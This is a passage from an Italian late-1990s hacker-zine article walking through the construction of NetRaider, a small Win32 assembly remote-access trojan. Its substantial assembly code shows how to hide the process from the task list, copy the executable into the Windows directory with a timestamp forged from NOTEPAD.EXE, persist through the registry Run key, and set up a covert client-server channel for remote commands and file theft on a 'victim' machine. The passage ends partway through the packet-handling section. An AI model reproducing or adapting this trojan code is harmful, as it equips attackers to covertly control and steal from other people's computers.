==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

--------------------------[ NET RAiDER PR0JECT v0.0 ]-------------------------
---------------------------------[ \sPIRIT\ ]---------------------------------

                           NetRaider Project v0.0

                                   ovvero

                       Davide contro Golia & famiglia
                           donna nana, tutta tana
                     piccolo si', ma con un c...o cosi'
                     e' poco, ma e' di quello buono...

                                     -

Tempo impiegato  : svariati giorni di full immersion globale
Consumo          : numerosi piatti di pasta al tonno e bastoncini Findus
                   bottiglie da 66cl di birra Peroni (thx Berry :)
                   litri di pepsi
                   una stecca di Diana Blu
                   circa sei moke di caffe' al giorno, miscela Discount
Musica ascoltata : quattro sPIRITCD.MP3 a ripetizione (2.5gb di bella roba)
Stati d'animo    : dal paranoico suicida all'euforico cocainomane
Dediche          : a tutti i fratelli del s0ftpr0ject
                   a Sabrina per il supporto fisico :)
                   alla fine della mia carriera universitaria (coming soon)
Si fanculizzi    : chi vuole sempre la pappa pronta (niente per loro, qui)
                   chi ha ideato le API di Windows 9x
                   chi ha detto che fumare fa' male (COFF COFF...)

                              - L'APPROCCIO -

Per seguire bene e mettere in pratica quanto scritto nell'articolo che
segue sono necessarie un po' di cosette.
Prima di tutto una testa (questa era scontata) e una conoscenza base della
sintassi dell'assembly e delle modalita' di programmazione dell'ambiente
Windows.
Se programmate gia' in assembly a 32bit sotto il buon vecchio DOS vi basta
un tutorial qualunque che spieghi i concetti base della programmazione
win32 e una referenza delle API. Se programmate gia' in C/C++ o Delphi vi
basta studiare un po' l'assembly, se siete crackers non vi serve nulla,
direi che siete gia' pronti :)
Anche dal fronte tools le richieste non sono insormontabili.
E' necessario il MASM 6.1x. con relative librerie e include, un resource
compiler, una referenza delle API e possibilmente un po' di documentazione.
Tutto il necessario lo trovate in confezione regalo alle pagine
http://win32asm.cjb.net e http://iczelion.cjb.net (e relativi links).

               - I PRELIMINARI (che sono sempre importanti) -

La prima cosa che vi conviene sapere, nel caso abbiate distrattamente
eseguito il server mentre giocavate col programmino, e' che l'eseguibile si
installa nella vostra directory base di Windows, sotto il nome di
RSRCNRS.EXE e con la stessa data di creazione di NOTEPAD.EXE (controllate
pure, controllate). Per rimuovere anche la sporcizia dal registry, la
chiave e' HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
sotto il nome di "Rsrcnrs". Inutile chiamare il task manager con
CTRL-ALT-CANC per segare il processo, che tanto non lo vedete... vi
conviene rimuovere il server dalla memoria utilizzando il client e
cancellare a mano l'eseguibile (infatti la funzione Remove Server termina
il processo e cancella la chiave nel registry, non puo' eliminare
fisicamente l'eseguibile per motivi di file sharing che sto' cercando di
risolvere).
La seconda cosa, e qui sono martellate ai piu' svogliati, e' che questo
articolo non e' ne' un corso di assembly, ne' tantomeno un corso di
assembly in ambiente WIN32, o sapete la sintassi, o non e' un mio problema.
Inoltre, per aumentare l'astio nei miei confronti, per ricompilare il tutto
avete bisogno di un tot di tools (per carita', niente di fantascientifico)
che vi ho indicato poco sopra e che io non vi ho messo nel pacchetto.
Attaccate il vostro browserino e procurateveli, se gia' non li avete, che
servono sempre.
Se volete sperimentare il NetRaider cosi' com'e', gli eseguibili li ho
inclusi per questo.
Una precisazione necessaria: l'assembly lo uso da quasi otto anni, la mia
prima finestrella a base di MOV risale a meno di due mesi fa, tutte le
conoscenze che sono state utilizzate per questo articolo sono frutto di
tentativi alla cieca, di ore a diassemblare trojan gia' esistenti e di una
intensiva spulciatura selettiva del Microsoft Journal e delle DLL di
Windows. Se avete culo trovatevi il libro Windows Undocumented di quel
pazzo psicotico di Matt Pietrek: e' del '96, e vista l'alta percentuale di
introvabilita' e' un po' come un sei al Superenalotto giocando un paio di
millini (in alternativa c'e' in giro la versione PDF, ma sono 60mb...).

                  - L'INTRODUZIONE (dopo i preliminari) -

La moda degli ultimi sei mesi. Piu' seguita delle bocce di Laetitia Casta,
piu' richiesta di una camicia di Dolce & Gabbana. I paparazzi si
appostano per fotografare le soubrette, gli informatici passano ore in
intense fasi di scanning di intere classi di IP.
Microsoft, con la solita faccia di bronzo, mostra di non preoccuparsi
ostentando nonchalance. Una notte di sesso con la suddetta Laetitia, e anche
Bill Gates si chiederebbe chi cazzo glielo ha fatto fare di passare la vita
a distribuire log di /dev/random spacciandoli per applicativi e sistemi
operativi, con buona pace dei linux-maniaci.

Accendete il vostro fido Windows, e controllate. Con molte probabilita' ne
avete uno anche voi, un trojan nascosto in qualche angolino buio, pronto a
spettegolare al primo che passa i segreti del vostro pc.
E se non l'avete voi, sicuramente ce l'ha qualcuno che conoscete, il vostro
compagno di banco, il vicino, il professore, il capoufficio, il parroco, il
pusher di fiducia, la vostra ragazza (ma in questo caso si chiama "essere
ninfomani"...). Con questa diffusione su scala planetaria, sembra di essere
tornati a qualche anno fa', quando si diceva che DOOM fosse installato su
un pc ogni due. Senza esagerare, pero'.

Ecco l'utente normale che si sente hacker. Manie di onnipotenza e cose
simili, <Quello ha il Back Orifice, ora lo sfotto e gli formatto l'hard
disk!>, di quelli che conosco chi ha cercato di capire come funzionano 'ste
cose sono gli stessi che hanno riempito di bytes questo numero di BFi, e
pochi altri, il resto e' una massa di utenti fruitori di servizio senza la
minima cognizione di cosa in realta' accada. Tanto varrebbe abbattere le
statue di Garibaldi e sostituirle con altarini alla cDc, se non altro
perche' sono stati i primi.
Oddio, non fraintendete, rispetto massimo per quei pazzi, ma personalmente
non darei mai un Kalashnikov carico in mano ad un tipo che si gusta per la
miliardesima volta Full Metal Jacket, e sempre con la stessa bava alla
bocca ed espressione sognante...

Oh... sono scaduto ancora nella polemica... let's go ahead.

                           - SIZE *DOES* MATTER -

Ora, prima di proseguire, leggete questo piccolo taglia e incolla di una
mia directory. Dentro ci sono gli eseguibili di quattro esemplari d
trojan:

 Volume in drive D is SOFTPJ99
 Volume Serial Number is 4154-14E8
 Directory of D:\Spirit\work in progress\NetRaider Project\other servers

.              <DIR>        02-11-99  5:39p .
..             <DIR>        02-11-99  5:39p ..
BOSERVE  EXE       124,928  08-03-98 10:02p BOSERVE.EXE
PATCH    EXE       472,576  08-23-98  1:06a Patch.exe
AGENT    EXE       293,376  06-11-98  1:54a Agent.exe
WINDLL   EXE       344,064  11-20-98 10:20p windll.exe
         4 file(s)      1,234,944 bytes
         2 dir(s)     243,924,992 bytes free

Nel caso non li riconosciate, ecco una veloce guida alle specie presentate
di "trojanibus stronzus":

BOSERVE.EXE - Back Orifice, versione 1.20
PATCH.EXE   - NetBus 1.60
AGENT.EXE   - Master's Paradise v0.98
WINDLL.EXE  - Girlfriend v1.35

La maggiore diffusione si e' avuta per mezzo di IRC, con amici che
passavano ad "amici", con sedicenti santoni che distribuivano toccasana
contro flood, nukes, impotenza e mancanza di figa. Altrimenti di mano in
mano, un dischetto alla volta... fate due conti sul numero di lamerazzi che
popolano Internet, e avrete in mano senza bisogno di calcolatrice la
velocita' di "trasmissione" e la quantita' di "contagiati".
Pero' guardate le dimensioni di quei files... <espressione di sdegno>
Sono GROSSI.
Sebbene il trend ci abbia abituato a viaggiare con programmi nell'ordine di
grandezza dei megabytes, quelle cifre restano (per me, voi non so')
un'offesa per gli occhi. Il motivo di quella mole e' presto spiegato: sono
stati programmati tutti in linguaggi ad alto livello, per il Back Orifice
e' il C++, per NetBus e Girlfriend e' il Delphi, e non mi sono preso la
briga di controllare il Master's Paradise.

La domanda che ci assegna il montepremi e' la seguente:
UNA VOLTA CAPITO IL FUNZIONAMENTO, E' POSSIBILE RIDURRE LE DIMENSIONI?

Vi anticipo la risposta, ma non limitatevi ad essa, che le condizioni e
spiegazioni seguiranno:

 Volume in drive D is SOFTPJ99
 Volume Serial Number is 4154-14E8
 Directory of D:\Spirit\work in progress\NetRaider Project

.              <DIR>        02-05-99  9:08p .
..             <DIR>        02-05-99  9:08p ..
NETSERV  EXE         5,021  02-28-99  2:22p netserv.exe
         1 file(s)          5,037 bytes
         2 dir(s)     243,924,992 bytes free

Guardate bene quel numerino... si', non sono allucinazioni da LSD, ma
proprio 5021 bytes (almeno al momento in cui scrivo questo articolo).

Sveliamo il trucco(1): l'eseguibile e' compresso con UPX 0.51
Vedo dalle vostre espressioni maligne che siete pronti a mettermelo in
culo. Ora col suddetto UPX scomprimetelo, o in alternativa ricompilate i
sorgenti che vengono con questo articolo.
Risultato: meno di 11k...
...e andate a comprarvi la vaselina per la prossima volta <evil grin>

Sveliamo il trucco(2): e' tutto scritto in puro assembly win32, e non e'
nemmeno ottimizzato per spazio, si potrebbe segare da questa versione un k
e mezzo comodo comodo. Alcune prove mi portano a 9k il compilato e a 4.7k
il compresso.
I piu' bastardi potrebbero farmi (giustamente) notare che ora come ora il
tutto non fa' niente di utile, e spiegare cosi' le ridottissime dimensioni.
Mazzate sui denti anche a loro: il server e' perfettamente funzionante, si
installa, si nasconde, e le routines di gestione pacchetti masticano con
tranquillita' dai messaggi nelle Message Box ai files di svariati mega,
tutto in maniera trasparente. Pensate di aggiungere tutte le funzioni di un
Back Orifice standard, e per ognuna aggiungete idealmente poco piu' di un
kbyte all'eseguibile NON COMPRESSO... poi stimate una compressione media
di circa il 40% per il puro codice (ed e' tutto codice...).
Per quanto perversa possa essere la vostra immaginazione, saranno numeri al
di sotto del 90, giocateveli al lotto e chissa' che non vinciate qualcosa.

(I piu' bastardi dovrebbero solo stare zitti e provare a creare per es. col
Delphi un programma VUOTO con solo la finestra Main e vedere quanto occupa
gia' cosi'... piu' di 100k,  l'alternativa e' solo lavorare in modalita'
Console (senza GUI) perdendo pero' la possibilita' di utilizzare 3/4 delle
classi gia' presenti nel linguaggio (e si ha cque una 50ina di kappa di
exe) NDCavallo)

Parziale alla fine del primo tempo: NetRaider VS Resto Del Mondo 1-0

                       - SU E GIU' (per il codice) -

Andiamo per gradi, che forse e' meglio. L'approccio da seguire per la
creazione di un trojan che ritengo migliore e' questo:

1) Creazione di un programma che si nasconda nel sistema e venga lanciato
   ad ogni avvio del sistema (la base di quello che sara' il server)
2) Creazione di un programma con un minimo di interfaccia (la base del
   client)
3) Interfacciamento dei due programmi con le Winsock, uno in grado di
   accettare connessioni (FD_ACCEPT) e uno che possa connettersi
   (FD_CONNECT)
4) Implementazione di uno straccio di Handshake fra i due programmi
5) Implementazione di una routine in grado di gestire l'invio di pacchetti
   e di un'altra in grado di ricevere i suddetti (e di conseguenza
   ideazione di un modello standard di pacchetto utilizzabile per lo
   scambio di dati)
6) Implementazione di tutti i giochetti simpatici sia a livello di
   richiesta (client) che a livello di esecuzione remota (server)

Quando tutti e sei i livelli sono stati sviluppati, avete in mano un trojan
pronto da usare (e da ottimizzare, ma questo e' un discorso che non intendo
trattare).

Cominciamo a descrivere il NetRaider a partire (ovviamente) dal punto uno.

1) LA BASE DI QUELLO CHE SARA' IL SERVER

Supponiamo per semplicita' (ricordate: non e' il mio scopo trattare la
programmazione basilare di Windows) di avere un programma che tramite la
funzione CreateWindowEx apre una bella finestrella vuota sullo schermo,
associata tramite la RegisterClassEx ad un nome arbitrario, nel nostro caso
"Nrs" (Netraider server). La prima cosa da fare e' renderla invisibile
all'utente, cosa ottenibile chiamando la seguente funzione:

BOOL ShowWindow(
     HWND  hwnd,      // handle of window
     int   nCmdShow   // show state of window
);

dove hwnd e' l'handle della finestra creata, ottenuto dalla chiamata a
CreateWindowEx, e nCmdShow e' un intero ottenuto facendo l'OR fra una serie
di parametri di visualizzazione. A noi interessa rendere la finestra
invisibile, quindi il parametro nCmdShow conterra' il valore SW_HIDE. Una
bella chiamata tipo:

INVOKE ShowWindow, hwnd, SW_HIDE

e la nostra finestrella sparira' per sempre.
Ora torniamo indietro, piu' precisamente all'inizio del programma, e
siccome noi non vogliamo che l'utente lanci piu' processi del server per
sbaglio (ad esempio, nel momento in cui manda in esecuzione il server per
la prima volta vede che apparentemente non succede nulla, e per sicurezza
ci clicca sopra un altro po' di volte), e' consigliabile controllare che in
esecuzione non esista gia' una copia del programma. Per fare questa
semplice operazione si utilizza la funzione FindWindowEx, definita come
segue:

HWND FindWindowEx(

     HWND     hwndParent,       // handle of parent window
     HWND     hwndChildAfter,   // handle of a child window
     LPCTSTR  lpszClass,        // address of class name
     LPCTSTR  lpszWindow        // address of window name
);

Il parametro lpszClass deve puntare ad una stringa ASCIIZ contenente il
nome della classe a cui e' associato il nostro programma, in questo caso
"Nrs". Una chiamata a:

INVOKE FindWindowEx, NULL, NULL, ADDR stringa.col.nome.della.classe, NULL

restituira' in EAX un bel NULL se non sono state trovate altre finestre,
visibili o no, con quel nome di classe. Di conseguenza se sara' restituito
un valore diverso da NULL una copia del programma sara' gia' in esecuzione,
e noi usciremo con una bella chiamata a ExitProcess.

A questo punto all'utente meno smaliziato il programma server potrebbe
sembrare invisibile, ma richiamare la lista dei processi con CTRL-ALT-CANC
svelera' irrimediabilmente un processo in esecuzione di troppo (con lo
stesso nome dell'eseguibile che lo ha creato, se chiamate il server
"Pippo.exe" nella lista dei task ci sara' bello pacifico un "Pippo").
L'unica soluzione e' far ricorso ad una funzione non documentata di
Windows, chiamata RegisterServiceProcess.
Purtroppo il procedimento per richiamarla e' piu' laborioso del solito, ma
ne vale la pena. Questo e' il codice utilizzato nel NetRaider server:

getDLLHandle    db "kernel32",0
reqAPIProcedure db "RegisterServiceProcess",0

INVOKE GetModuleHandle, ADDR getDLLHandle
INVOKE GetProcAddress, eax, ADDR reqAPIProcedure
push   00000001
push   NULL
call   eax
add    esp,8

Tutto questo lavoro e' necessario perche' non e' possibile chiamare la
RegisterServiceProcess direttamente, ma bisogna ottenere dalla DLL che la
contiene (KERNEL32.DLL) l'indirizzo in cui e' stata mappata. Il tutto
avviene in maniera (quasi) indolore ottenendo con GetModuleHandle l'handle
della DLL KERNEL32, e in seguito richiedendo con GetProcAddress l'indirizzo
della funzione richiesta.
I due push che compaiono prima della chiamata non sono altro che i
parametri richiesti dalla RegisterServiceProcess, e in particolare il primo
e' il tipo di servizio richiesto, scelto fra:

RSP_SIMPLE_SERVICE     EQU 00000001h //register as service process
RSP_UNREGISTER_SERVICE EQU 00000000h //unregister the service process

mentre il secondo sarebbe l'ID del processo da registrare, nel nostro caso
NULL significa il processo corrente. L'importante dopo la chiamata
all'offset della RegisterServiceProcess e' di aggiustare il puntatore allo
stack, dal momento che non si utilizza la macro INVOKE del masm.
Una veloce verifica alla lista dei task col solito CTRL-ALT-CANC, e il
nostro programma sara' magicamente sparito... la vita comincia a
sorriderci.
In verita' la funzione RegisterServiceProcess, che esiste solo sotto
Windows 9x, serve a simulare un processo NT non collegato ad un utente, ma
globale. In ogni caso per i nostri scopi e' perfetta. E' da notare comunque
che con programmi particolari come il Process Viewer e il Tek Factory il
nostro processo sara' comunque visibile, ma vi sfido a trovare un utente
comune che li utilizzi...
Questa informazione preziosissima e' stata trovata su Computer Programming
n.74, in un articolo di Fabio Falsini dal titolo "Lo sapevate che c'e' una
funzione per...".
Cavallo dice che lo sapeva gia'... 'fanculo :)

Ora che il processo risultera' completamente invisibile, e' necessario
scrivere il codice che installi il trojan nel sistema alla prima
esecuzione, e che lo stesso venga eseguito ad ogni boot della macchina.

La prima cosa da fare e' copiare l'eseguibile del server in una directory a
nostro piacimento. Ho scelto la directory base di windows per evidenti
motivi, dato che e' gia' piena di eseguibili sara' difficile che qualcuno
scovi un eseguibile di troppo. La copia avviene in tre fasi: prima si
ricava con la funzione GetWindowsDirectory il path alla directory
principale di windows, quindi con la GetCommandLine il path completo
dell'eseguibile lanciato dall'utente (il nostro trojan), e con un po' di
taglia e incolla su buffer otteniamo il path + filename dove verra' copiato
l'eseguibile. Il codice e' il seguente:

INVOKE  GetWindowsDirectory, ADDR WinBASEDIR, MAX_PATH

INVOKE  StrLen, ADDR WinBASEDIR

mov     edi, OFFSET regKeyValue
mov     esi, OFFSET WinBASEDIR
mov     ecx, eax
rep     movsb
mov     al,'\'
stosb
mov     esi, OFFSET ExecutableName
mov     ecx, ExecutableLength
rep     movsb

INVOKE  GetCommandLine
mov     CommandLine, eax

INVOKE  StrLen, CommandLine
mov     edi, OFFSET InstallExePATH
mov     esi, CommandLine
inc     esi
mov     ecx, eax
sub     ecx,3
rep     movsb

INVOKE  CopyFile, ADDR InstallExePATH, ADDR regKeyValue, FALSE

A questo punto il nostro trojan e' al posto giusto, e una bella cosa
sarebbe cambiare la data del file in qualcosa di poco vistoso, dato che un
eseguibile del '99 in mezzo a tanti eseguibili con date precedenti potrebbe
destare piu' di un sospetto. In questo caso ho deciso di prendere la data
di NOTEPAD.EXE (uno dei programmi che piu' o meno siamo sicuri sia
installato nel sistema) e usarla per cambiare la data del NOSTRO
eseguibile. Ecco il codice:

INVOKE  GetWindowsDirectory, ADDR WinBASEDIR, MAX_PATH
INVOKE  StrLen, ADDR WinBASEDIR

mov     edi, OFFSET stealthFilePath
mov     esi, OFFSET WinBASEDIR
mov     ecx, eax
rep     movsb
mov     al,'\'
stosb
mov     esi, OFFSET stealthFileName
mov     ecx, stealthFileLen
rep     movsb

INVOKE  CreateFile, ADDR stealthFilePath, GENERIC_READ, FILE_SHARE_READ, \
        0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
.IF eax!=INVALID_HANDLE_VALUE
    mov     hFile4date, eax
    INVOKE  GetFileTime, hFile4date, ADDR stealthFileInfo, NULL, NULL
    INVOKE  CloseHandle, hFile4date
    INVOKE  CreateFile, ADDR regKeyValue, GENERIC_WRITE, \
            FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, \
            NULL
    mov     hServer, eax
    INVOKE  SetFileTime, hServer, ADDR stealthFileInfo, \
            ADDR stealthFileInfo, ADDR stealthFileInfo
    INVOKE  CloseHandle, hServer
.ENDIF

La funzione CreateFile e' usata in questo caso per aprire NOTEPAD.EXE in
lettura, e la GetFileTime per riempire una struttura predefinita con la
data del file aperto. Quindi viene aperto il file del trojan in scrittura
(GENERIC_WRITE) e viene copiata la data. Le flag FILE_SHARE_READ e
FILE_SHARE_WRITE sono necessarie per attivare la lettura/scrittura in caso
di file gia' aperto (ad esempio se l'utente avesse un NOTEPAD.EXE lanciato,
senza la FILE_SHARE_READ non sarebbe possibile ricavare la data).

Ora l'eseguibile trojan ha anche una data di creazione soddisfacente, e
bisogna preoccuparsi che esso venga eseguito ad ogni boot del sistema.
L'esecuzione automatica all'avvio non costituisce un problema. Le
alternative a disposizione sono tre: avvio da Esecuzione Automatica, avvio
da SYSTEM.INI, avvio da Registry.
La prima alternativa e' da scartare completamente, l'esecuzione sarebbe
troppo evidente. Una sezione [load] inserita nel SYSTEM.INI e' gia' meglio,
ma e' troppo complesso, per i nostri scopi, aprire il file e inserire
i comandi. Resta l'esecuzione da registry, effettivamente l'ideale.

La nostra chiave di esecuzione andra' inserita nella sezione
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
e conterra' il path del nostro eseguibile.

INVOKE  RegSetValueEx, hNETSERVERkey, ADDR regKeyName, 0, REG_SZ, \
        ADDR regKeyValue, eax

Questa funzione provvedera' a inserire nel registry (e a creare, se gia'
non esiste) la nostra chiave. Il valore a cui viene settata e' lo stesso
usato come path di destinazione della nostra copia del trojan.

Gli ultimi passi all'installazione sono banali. Una ShellExecute
provvedera' a lanciare l'eseguibile copiato, mentre una ExitProcess
chiudera' il processo corrente (lanciato dall'utente), per evitare
interferenze.
L'ultima nota riguarda il fatto che l'utente potrebbe, non notando alcuna
attivita' al suo doppio click, rilanciare l'esegubile, e non sarebbe carino
che ogni volta venisse ripetuta tutta la procedura (anche perche', nel caso
di server in esecuzione, ci sarebbero svariati problemi di file sharing al
momento della copia del file...).
Tornando all'inizio del sorgente, una verifica della presenza della chiave
nel registry dovrebbe bastare. Se la chiave verra' trovata, il processo
rilanciato verra' terminato immediatamente.

INVOKE  RegOpenKeyEx, HKEY_LOCAL_MACHINE, ADDR regKeyPosition, 0, \
        00020029h, ADDR hNETSERVERkey

Un valore di ritorno in EAX diverso da ERROR_SUCCESS significhera' che la
nostra chiave e' gia presente, e sara' bene terminare il processo corrente.

2) LA BASE DEL PROGRAMMA CLIENT

Qui e' tutto facile, in quanto si tratta di normale programmazione della
GUI di Windows. Il primo passo e' creare e compilare un file di risorse che
definisca l'aspetto della nostra finestra (guardatevi il file
resource\netclnt.rc nell'archivio di distribuzione), e quindi un programma
che mostri tale finestra (ho scelto che venga creata una dialogbox tramite
la DialogBoxParam, per l'incredibile flessibilita') e gestisca le
operazioni dell'utente tramite la GetMessage, la TranslateMessage e la
DispatchMessage. Non voglio dilungarmi oltre proprio perche' e' normale
programmazione base.

3) COMUNICAZIONE FRA I DUE PROGRAMMI TRAMITE WINSOCK

A questo punto abbiamo due bei programmi, un server nascosto nel pc
dell'utente vittima, e un client con tanti bei bottoni dalla nostra parte.
Cosi' come sono non servono a nulla, se non possono comunicare tra loro.
E' il momento di stabilire una connessione TCP/IP, e per far questo
utilizzeremo le funzioni delle Winsock. La modalita' di comunicazione
scelta e' Asynchronous non-blocking, e quindi i nostri pacchetti
viaggeranno via TCP (non UDP come il Back Orifice), e potranno partire e
arrivare in qualunque ordine. Sara' compito dei programmi (vedremo dopo
come) scomporre e ricomporre i dati nella giusta sequenza.
Per prima cosa i nostri programmi dovranno inizializzare le Winsock,
tramite le funzioni WSAStartup, socket e htons. Il codice comune lo trovate
nella procedura OpenSocket presente nel file include/socketop.inc
Vi consiglio caldamente la lettura del tutorial di Iczelion sulla
programmazione dell winsock, che trovate a uno dei due url che ho scritto
all'inizio dell'articolo.
Inizializzate le Winsock e' necessario impostare i parametri base di
comunicazione tramite la WSAAsyncSelect.
Per il server e' necessario aprire il socket in modalita' notifica di
ACCETTAZIONE (FD_ACCEPT), lettura e chiusura (FD_READ e FD_CLOSE), mentre
il client dovra' essere notificato di avvenuta CONNESSIONE (FD_CONNECT) e
di lettura e chiusura.
Le strade di server e client si dividono a questo punto.
Per il primo sara' necessario aprire una porta su cui ascoltare una
richiesta di connessione, tramite il seguente codice:

INVOKE  bind, socketDESCRIPTOR, ADDR sin, 16
INVOKE  listen, socketDESCRIPTOR, 2

Il secondo invece dovra' reagire solo nel momento in cui l'utente
richiedera' una connessione. Presupponendo che l'indirizzo IP o host a cui
ci si deve connettere e' stato ricavato da un testo digitato in una editbox
tramite la GetDlgItemTextA e messo in una variabile remoteHOST, la prima
cosa da fare e' convertire l'indirizzo in un formato comprensibile alle
winsock, e cioe' invertendo l'ordine dei campi dell'indirizzo IP (secondo
le specifiche BSD). Cio' si ottiene chiamando la funzione inet_addr.
Il problema sorge nel caso che l'utente abbia inserito non un IP numerico,
ma un hostname: la funzione inet_addr ritornera' il valore INADDR_NONE, e
sara' necessario risolvere l'hostname, con una chiamata alla funzione
gethostbyname. Ecco il codice preso dal client:

INVOKE  inet_addr, ADDR remoteHOST

        .IF eax==INADDR_NONE
            INVOKE  SetWindowText, bhConn, ADDR bResolving
            INVOKE  gethostbyname, ADDR remoteHOST
            .IF eax==NULL
                INVOKE  ShutdownSocket, socketDESCRIPTOR
                ret
            .ENDIF

questa parte si occupera' di risolvere l'hostname, e di chiudere il
tentativo di connessione (resettando il socket) in caso di fallimento.

            mov     eax, [eax+12]
            mov     eax, [eax]
            mov     eax, [eax]
            mov     sin.sin_addr, eax
        .ENDIF


Queste righe invece sono necessarie a riempire il campo sin_addr con
l'indirizzo di rete richiesto. I vari passaggi sono necessari in quanto la
funzione gethostbyname ritorna un puntatore ad una struttura come questa:

struct hostent {
    char FAR *       h_name;
    char FAR * FAR * h_aliases;
    short            h_addrtype;
    short            h_length;
    char FAR * FAR * h_addr_list;
};

e il valore che ci interessa e' contenuto (o puntato) da h_addr_list.
Per quanto riguarda il client, a questo punto la connessione puo' venire
effettuata tramite la funzione connect.
Il server ricevera' un messaggio di tipo FD_ACCEPT, e dovra' accettare la
connessione chiamando la funzione accept.

4) IMPLEMENTAZIONE DELL'HANDSHAKE

Ora i programmi sono connessi e pronti a scambiarsi dati fra loro. Il
problema e' che QUALUNQUE connessione effettuata all'ip del server sulla
porta giusta verra' accettata, e noi non vogliamo che questo succeda.
Server e client devono essere gli unici a comunicare fra loro.
Passo numero uno, impostiamo delle stringhe che indichino in maniera
univoca server e client:

clientID         db          "NSClient-sPISPJ99"
serverID         db          "NSServer-sPISPJ99"

Queste stringhe serviranno ai due programmi per identificarsi al momento
della connessione. Il primo a farsi riconoscere sara' il client che,
ricevuta la conferma dell'avvenuta connessione (sotto forma di un messaggio
di tipo FD_CONNECT), provvedera' a porsi in modalita' handshake (ho
utilizzato una variabile booleana chiamata isHANDSHAKE per questo scopo) e
a trasmettere la propria stringa di identificazione tramite la winsock
send. Il server ricevera' un messaggio di tipo FD_READ, leggera' i dati con
chiamate alla ioctlsocket e alla recv, ed eseguira' un confronto sull'ID
ricevuto.
Nel caso fallisse il confronto la connessione verra' chiusa, il socket
resettato, e il client remoto verra' forzato a chiudere la comunicazione
con l'invio di un messaggio FD_CLOSE. Nel caso invece che la stringa di
identificazione venga riconosciuta, spettera' al server inviare la propria
e al client riconoscerla, con le stesse modalita' appena descritte. Il
codice e' praticamente uguale per entrambi i programmi, tranne le sezioni
riguardanti la chiusura della connessione, che ometto:

INVOKE  ioctlsocket, remoteDESCRIPTOR, FIONREAD, ADDR availableData
.IF eax==NULL

    INVOKE  recv, remoteDESCRIPTOR, offsetBuffer, availableData, 0
    INVOKE  StrCmp, ADDR clientID, offsetBuffer, cIDLEN
    .IF eax==TRUE
        mov     isReliable, TRUE    ;la connessione e' riconosciuta
        mov     isHandshake, FALSE

        INVOKE  send, remoteDESCRIPTOR, ADDR serverID, sIDLEN, 0
        .IF eax==0 || eax==SOCKET_ERROR
            mov     eax, FALSE
        .ELSE
             mov     eax, TRUE
        .ENDIF

        .IF eax==FALSE
                   ;chiusura socket
            .IF eax==0
                mov     fConn, FALSE
            .ELSE
                   ;apertura socket
            .ENDIF
        .ENDIF

     .ELSE
                ;chiusura socket
          .IF eax==0
              mov     fConn, FALSE
          .ELSE
                ;apertura socket
          .ENDIF

      mov     isHandshake, FALSE
      mov     receiveLOCK, FALSE
     .ENDIF
.ENDIF

5) SCAMBIO DI DATI

La creazione raw dei pacchetti tcp non e' un nostro problema, dato che
saranno le winsock ad occuparsi di tutto. Il fatto e' che, se si pensa al
tipo di programma che stiamo realizzando, e' necessario inventarsi
qualcosa. Infatti sara' necessario tenere conto che i trasferimenti
potranno andare dal semplice messaggio in una messagebox, e quindi pochi
bytes, a files di qualunque dimensione, e bisognera' pure segnalare
all'interno dei pacchetti il tipo di funzione richiesta. La possibilita' di
trasmettere in una volta sola tutti i dati richiesti ci sarebbe, ma
diventerebbe ESTREMAMENTE pesante per l'utente vittima: immaginatevi di
chiedere il download di un file grande sul mezzo mega... il server riceve
la richiesta, bufferizza in memoria il file e lo trasmette in un blocco
unico. Per questioni di priorita' di thread la connessione della vittima
sembrera' piantarsi fino a trasferimento finito, e con la velocita' della
rete al giorno d'oggi potrebbe trattarsi di un tempo lungo.
Da qui la necessita' di spezzettare i dati, con tutte le conseguenze del
caso.
Per fare cio' ho scelto di costruirmi un formato proprietario dei
pacchetti, definito come segue:

NRPacket         STRUCT
  nrHeader       db         "NRP-"
  nrFCode        dd         ?
  nrPacketSeqNR  dd         ?
  nrPacketInSeq  dd         ?
  nrLenData      dd         ?
;  nrDataCRC32    dd         ?   ; CRC32 IS NOT IMPLEMENTED AT THIS POINT
  nrPointData    dd         ?
  nrTail         dd         ?
NRPacket         ENDS

packet           NRPacket    <> ; basic NetRaider packet definition

La funzione SendCommand (contenuta in include\sendrecv.inc) e' comune al
server e al client, e viene definita nel seguente modo:

SendCommand      PROTO :DWORD,:DWORD,:DWORD

I parametri che vengono passati dal chiamante sono:

- una doubleword che contiene il codice della funzione da eseguire (in
  questa versione abbiamo ad esempio 00000000h per la rimozione del server,
  00000001h per la messagebox e 00000002h per il DDE Execute)
- un puntatore ai dati da inviare. Il chiamante dovra' occuparsi di
  preparare i dati in un buffer.
- l'handle del socket allocato dall'inizializzazione delle winsock,
  attraverso il quale vengono inviati i dati. E' da notare che nel caso del
  client l'handle e' unico e viene restituito dalla funzione socket, mentre
  nel caso del server l'handle e' restituito al momento della richiesta di
  connessione dalla funzione listen, ed e' DIVERSO dall'handle di
  inizializzazione.

La funzione SendCommand si preoccupera' di spezzettare i dati in pacchetti
di dimensione massima 1024bytes e di riempire tutti i campi, in un ciclo
.WHILE .ENDW.
Analizzando la struttura del pacchetto (da conoscere se qualcuno avesse
voglia di fare un client per sistemi *nix), possiamo dire che:

- nrHeader e' fisso, e contiene la dicitura "NRP-", che indica
  inequivocabilmente un pacchetto NetRaider valido.
- nrFCode contiene il codice della funzione richiesta.
- nrPacketSeqNR e' il numero del pacchetto all'interno della sequenza, da 0
  a n-1.
- nrPacketInSeq e' il numero n di pacchetti totali che verranno inviati.
- nrLenData e' una doubleword che indica la lunghezza in bytes dei dati
  presenti nel pacchetto, con un minimo di NULL se non ci sono dati ad un
  massimo di 1024.
- nrDataCRC32 conterrebbe il CRC32 dei dati, ma non e' ancora implementata.
- nrPointData e' una doubleword che punta ai dati da inserire nel
  pacchetto.
- nrTail e' una stringa di 4 bytes, che puo' contenere "-SEQ" se il
  pacchetto e' seguito da altri, o "-ENP" se si tratta dell'ultimo
  pacchetto. Al momento non e' utilizzata.

Non ditemi che ho fatto un gran casino perche' gia' lo so, dovrei rivedere
il tutto e ora non ho voglia. In ogni caso, dopo che la funzione
SendCommand, all'interno del ciclo, ha provveduto a riempire un pacchetto
(definito come packet NRPacket <>, se conoscete le struct), se lo rilegge e
